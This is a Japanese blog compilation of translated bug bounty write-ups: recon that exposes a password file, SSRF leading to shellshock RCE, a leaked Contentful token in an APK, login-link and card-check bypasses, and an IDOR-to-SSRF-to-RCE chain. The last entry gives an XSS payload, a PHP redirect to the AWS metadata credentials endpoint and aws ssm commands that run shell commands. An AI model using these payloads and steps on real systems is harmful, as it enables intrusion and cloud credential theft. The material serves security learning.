Shikata Ga Nai

Private? There is no such things.

How I found an Sensitive Information Disclosure( Reconnaissance )を訳してみた

Hello there, ('ω')ノ

 

機密情報の開示 (偵察) を見つけた方法を。

 

脆弱性:

 情報開示

 

記事:

 https://systemweakness.com/bug-bounty-how-i-found-an-sensitive-information-disclosure-reconnaissance-542daf10dd19

 

今回は、偵察による機密情報の漏えいについて。

組織の発信元 IP とインターネット IP を取得するには、次の 2 つの方法があり。

 

1.Censys、Shodan、Securitytrails、FOFA、Zoomeye などを。

 使用した手動アプローチ。

2.uncoverツールを使用した自動化アプローチ

 

https://search.censys.io/

 

https://securitytrails.com/

 

https://fofa.info/

 

https://www.zoomeye.org/

 

https://github.com/projectdiscovery/uncover

 

発見ツールとは:

uncover ツールは、よく知られている検索エンジン API を使用して。

インターネット上で公開されているホストをすばやく見つける go ラッパーで。

自動化を念頭に置いて構築されているため、クエリを実行し。

現在のパイプライン ツールで結果を利用できて。

 

uncover ツールは、一度に複数の検索エンジンにクエリを実行でき。

Shodan、Censys、FOFA、Hunter、Quake、Zoomeye などの。

利用可能な検索エンジンをサポートして。

 

主なトピック、つまり、偵察による機密情報の開示をどのように発見したか。

 

Google Dorks を通じてBug Bountyプログラムを選択して。

使用した Google Dork は、「responsible disclosure bounty r=h:uk」で。

今回のドメインを target.com と呼ぶことに。

 

手動ペンテストを開始する前に、適切な偵察のための時間を設け。

すべてのライブ ドメインを収集し、さまざまな端末で。

403 forbiddenドメインに対して。

nmap、webanalyze、waybackurls、naabu、403-bypass、nuclei などの。

さまざまなツールを実行して。

しかし、興味深いものは何も見つからず。

 

https://github.com/rverton/webanalyze

 

https://github.com/projectdiscovery/naabu

 

次に、target.com で uncover ツールを実行して。

 

uncover -q “target.com” -e censys,fofa,shodan,shodan-idb | httpx | tee ips.txt

cat ips.txt

 

数秒後、いくつかの IP を取得し、Web ブラウザで IP を手動で開き始めて。

Open Multiple URLs 拡張機能を使用して、すべての IP アドレスを一度に。

1つずつ開くことができて。

すべての IP を確認した後、重要なファイルを含む 1つの IP を取得して。

 

 

 

password_control ファイルには。

「内部システムのユーザ名やハッシュ パスワードなどの機密情報」が含まれていて。

 

 

次に、この IP が同じ組織に属しているかどうかを確認する必要があり。

すぐに whois コマンド ( whois ip ) を実行しましたが。

あまり情報が得られなかったので、Firefox ブラウザで IP を開いて。

 

 

Firefox ブラウザでは、アクセスするための資格情報を求めていることがわかり。

しかし、Chrome ブラウザでは、直接アクセスできて。

Firefox ではいくつかのドメインが表示さるものの。

ドメインを検索してそこのホームページにアクセスしたところ。

そのサイトのBug Bountyのページがあり、それをクリックすると。

自分の target.com のバグ報奨金ポリシー ページにリダイレクトされて。

 

ヒント:

IP アドレスは常に Chrome と Firefox で開いて。

別のブラウザから情報を取得する場合もあり。

 

Best regards, (^^ゞ

The Tale Of SSRF To RCE on .GOV Domainを訳してみた

Hello there, ('ω')ノ

 

SSRF から .GOV ドメインの RCE への物語を。

 

脆弱性:

 SSRF

 RCE

 

記事:

 https://medium.com/@tobydavenn/the-tale-of-ssrf-to-rce-on-gov-domain-191185b32b37

 

SSRF はサーバ側のリクエスト フォージェリで。

これは、影響がある場合、高/重大な脆弱性で。

SSRF では、サーバがリクエストを行っている場合、攻撃者が内部ページを。

リクエストしてアクセスする可能性があり。

多くの場合、SSRF は順風満帆ではなく、IP アドレスのブラックリスト、ページの 。

URL エンコーディング、DNS の改ざんなど、さまざまなバイパスを。

利用する必要がありますが、この脆弱性の場合は非常に簡単で。

 

この脆弱性をどのように見つけたか。

 Waybackurls

 GAU

 waybackurls >> GAU >> combined.txt

 gospider | tee gospider.txt

 gospider.txt >> combined.txt

 

https://www.kali.org/tools/getallurls/

 

https://github.com/jaeles-project/gospider

 

ファイルを手動で調べて、興味深いエンドポイントを探し。

「/proxy」というエンドポイントに出会い。

これは、読み込まれたときに空白のページで。

ソースを調べると、リクエストに追加できる var パラメータが明らかになり。

このパラメータは、URL のリクエストに使用されて。

 

このパラメータをエンドポイントに追加し、Burp コラボレータのリンクを。

リクエストすると、サーバの IP から HTTP リクエストを受け取ることができて。

Burp コラボレータのリンクを削除して「https://127.0.0.1」を追加し・

リクエストを送信しても応答がなかったのは興味深いことで。

IP を変更して https://127.1 を送信すると、画面にレンダリングされた内部ページで。

200 OK が受信され、リダイレクト URL が表示され。

あまり興味深いものはありませんが。

すべての URL で制限されたフィルタリングが表示されて。

 

ここから AWS 内部 IP 169.254.169.254/metadata を試してみたところ。

十分なメタデータが表示され。

これで、会社の AWS に完全にアクセスできるようになり。

周りを見渡してキーやその他の情報を収集できるようになって。

 

リクエストを受け取り、ファイル パスを試して。

ここから、内部 IP 範囲を理解するためにホスト ファイルを要求できて。

メモを取り、リクエストをBurpリピータに送信し。

内部アドレス空間をスキャンして。

ポート 8080 または URL /admin で興味深いページを探して。

 

PortSwiggerラボから、ユーザエージェントを介して悪用される可能性のある。

RCE の脆弱性である shellshock について学び。

Google で検索すると、ペイロードが表示され。

このペイロードをイントルーダの要求に追加し、内部範囲全体を再スキャンして。

案の定、内部ホストが脆弱であることを確認する ping が返ってきて。

外部から内部への完全な内部アクセスとリモート コード実行が可能になって。

 

ポイント:

 情報収集と偵察がカギ

 隠しパラメータのソース コードを常にチェック

 

Best regards, (^^ゞ

Contentful Access Token Disclosure in Android APKを訳してみた

Hello there, ('ω')ノ

 

Android APK でのコンテンツ アクセス トークンの開示を。

 

脆弱性:

 情報公開

 

記事:

 https://medium.com/@cyberali/contentful-access-token-disclosure-in-android-apk-ace5f7bdf98

 

今回は、Android APK Pen のテストに関する記事で。

 

Android アプリケーションをテストする方が面白いと思い。

だから、単にAPKをダウンロードし。

Android の動的テストには構成に時間がかかるため。

静的テスト、コード レビューから始め。

そうしているうちに、apkname/BuildConfig にファイルが見つかり。

興味深いキーと値のペアがいくつかあったので、開いてレビューを開始し。

すべての値を注意深く観察し続けると。

CONTENTFUL_ACCESS_TOKEN と CONTENTFUL_SPACE の 2 つのキーが表示されて。

 

 

グーグルですでに開示されたレポートを検索しましたが。

残念ながら見つけることができず。

そこで、contentful.com のドキュメントを読むことに。

 

https://www.contentful.com/

 

Contentful は基本的に、コンテンツを組み立てて配信を高速化するために使用され。

そのため、コンテンツを取得するには、正当なユーザであることを示すために。

自分自身を認証する必要があり。

現在、CURL コマンドを介して認証リクエストを送信する方法は 2 つあり。

 

クエリ パラメータとして:
curl -v https://cdn.contentful.com/spaces/cfexampleapi/entries?access_token=b4c0n73n7fu1

 

ヘッダとして:
curl -v https://cdn.contentful.com/spaces/cfexampleapi/entries -H ‘Authorization: Bearer b4c0n73n7fu1’

 

「クエリ パラメータ」オプションを使用して、コマンドを Linux 端末に。

コピー/貼り付け、必要なパラメータを変更し、ENTERを押し。

contentful に保存されているターゲット情報を受け取って。

 

 

結論:

アクセス トークン、API キー、または侵入テストを行うときに。

見つけた機密性の高いドキュメントのドキュメントを常に読むと。

それはあなたに搾取の新しい方法を提供して。

エクスプロイトがドキュメントに書かれている可能性があって。

 

Best regards, (^^ゞ

How I found 3 rare security bugs in a dayを訳してみた

Hello there, ('ω')ノ

 

1日に3つのまれなセキュリティ バグを見つけた方法を。

 

脆弱性:

 セッションの有効期限切れ

 支払いバイパス

 レート制限の欠如

 

記事:

 https://infosecwriteups.com/how-i-found-3-bug-bounties-in-a-day-c82fe023716e

 

今回は、旅行と旅行のウェブサイトについて。 

 

1.サインイン リンクでの1回限りの使用のバイパス

Web サイトのログイン ロジックを確認したところ、電子メール ログインを。

選択すると、予想どおり電子メールを要求していて。

電子メールを入力すると、サインイン リンクが記載された電子メールが送信され。

 

 

このリンクは 1回のみ使用でき、10 分後に有効期限が切れて。

そのため、リンクをクリックしてサインインに成功して。

 

 

その後、そのリンクは期限切れになるはずで。

でも、リンクをコピーし、プライベート タブを開いて確認すると。

 

 

エラーが発生したと表示され、新しいリンクを電子メールに送信でき。

ただし、URL を調べると、「success=false」というパラメータがあって。

この入力に true を書き込むとどうなるか。

ログインするために同じサインイン リンクを永久に使用できて。

 

 

2.クレジット カード チェッカーのバイパス

会社のセキュリティ機能の一部を迂回したとしても。

彼らはそれが有益であると言うことができて。

ウェブサイトにはクレジットカードチェッカー機能がありますので。

クレジットカード番号に乱数を入力することはできず。

機能は次のとおりで。

 

 

つまり、カードの長さと最初の 6桁をチェックしていて。

VISA カードの最初の 6桁として 454545 を試し。

Burp Proxy経由のリクエストから長さを変更すると。

454545 をカードとして受け入れて。

 

 

3.メール爆撃とレート制限

ホームページに「格安旅行があったらお知らせしますか?」というボタンがあり。

それをクリックすると、電子メールを求めていて。

 

 

その後、自分の電子メールを入力し。

それが自分の電子メールであることを確認し、本当に通知が必要かどうかを。

確認するために、申請メールが送信され。

ただし、適用していないのに、通知の送信を開始して。

その後、リクエストのレビューを開始しましたが。

別のメールを入力してもレート制限がないことに気付き。

 

 

したがって、攻撃者は承認なしに Web サイトからすべての通知を送信できて。

最初は応募メールを送るが、応募せずに格安旅行メールを送り始めて。

 

Best regards, (^^ゞ

How I found my first SSRF to RCE!を訳してみた

Hello there, (^^ゞ

 

最初の SSRF から RCE への方法をどのように見つけたかを。

 

脆弱性:

 IDOR、SSRF、RCE

 

記事:

 https://medium.com/@0x0Asif/how-i-found-my-first-rce-8f8033883dc4

 

今回は、最初の RCE をどのように見つけたかを。

ハンティング中に IDOR を見つけ、写真を含むすべての訪問者を見ることができ。

 

IDOR リクエスト:

 GET /visitors/?start_date=01/01/2021&end_date=07/23/2022&first_name=&last_name=&date_of_birth=&status=&reason_for_visit=&reason_for_visit_text=&start_record=0&total_record=10&selected_building_id=&building_id=1266 HTTP/2
    Host: subs.example.io

 

Building_id」パラメータは IDOR に対して脆弱で。

このパラメータ値は数値なので、他のユーザの情報を簡単に取得でき。

ユーザの情報を確認していたところ、リンクの例が 1つあることに気付き。

 https://subs.example.io/s3File?url=https://s3-us-west-1.amazon.com/filename.jpeg

 

Amazon s3バケットからユーザ画像を取得していて。

?url= パラメータを持つエンドポイントに注目して。

 

 

最初のステップ:

https://subs.example.io/s3File?url=https://google.com/ を試してみると。

Google インデックス ページを表示して。

そこで何かを印刷しようとしたのですが。

別のものを印刷しようとするとうまくいかず。

 

次に、このコードをサーバでホストし、そこで XSS を取得して。

 “><img src=x onerror=alert(document.domain);>{{7*7}}

 

次に、これを完全読み取り SSRF にエスカレートすることができ。

上で述べたように、「?url=」パラメータはインデックスのみを許可し。

このコードをサーバインデックスにホストして。

<?php header(‘Location: https://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-service-role-ssm-codedeploy', TRUE, 303); ?>

 

AWS キーの取得:

 https://subs.example.io/s3File?url=https://ssrf.hosted.site/

 

 

任意の AWS インスタンスで RCE をルートするための完全読み取り SSRF を取得して。

次に、AWS CLI を構成する必要があり。

 export AWS_ACCESS_KEY_ID=

 export AWS_SECRET_ACCESS_KEY=

 export AWS_DEFAULT_REGION=us-west-1

 export AWS_SESSION_TOKEN=

 

次に、このコマンド のような形式のインスタンスをコピーして。

aws ssm describe-instance-information — output text — query “InstanceInformationList[*]” to figure out all the instance and copy any of instance which format is like i-0a9e9b8343511285db9

 

https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ssm/describe-instance-information.html

 

このコマンドを instanceid で適用して。

aws ssm send-command --document-name “AWS-RunShellScript” --comment “RCE” --targets “Key=instanceids,Values=instanceid” --parameters ‘commands=uname -a’

 

 

https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ssm/send-command.html

 

Best regards, (^^ゞ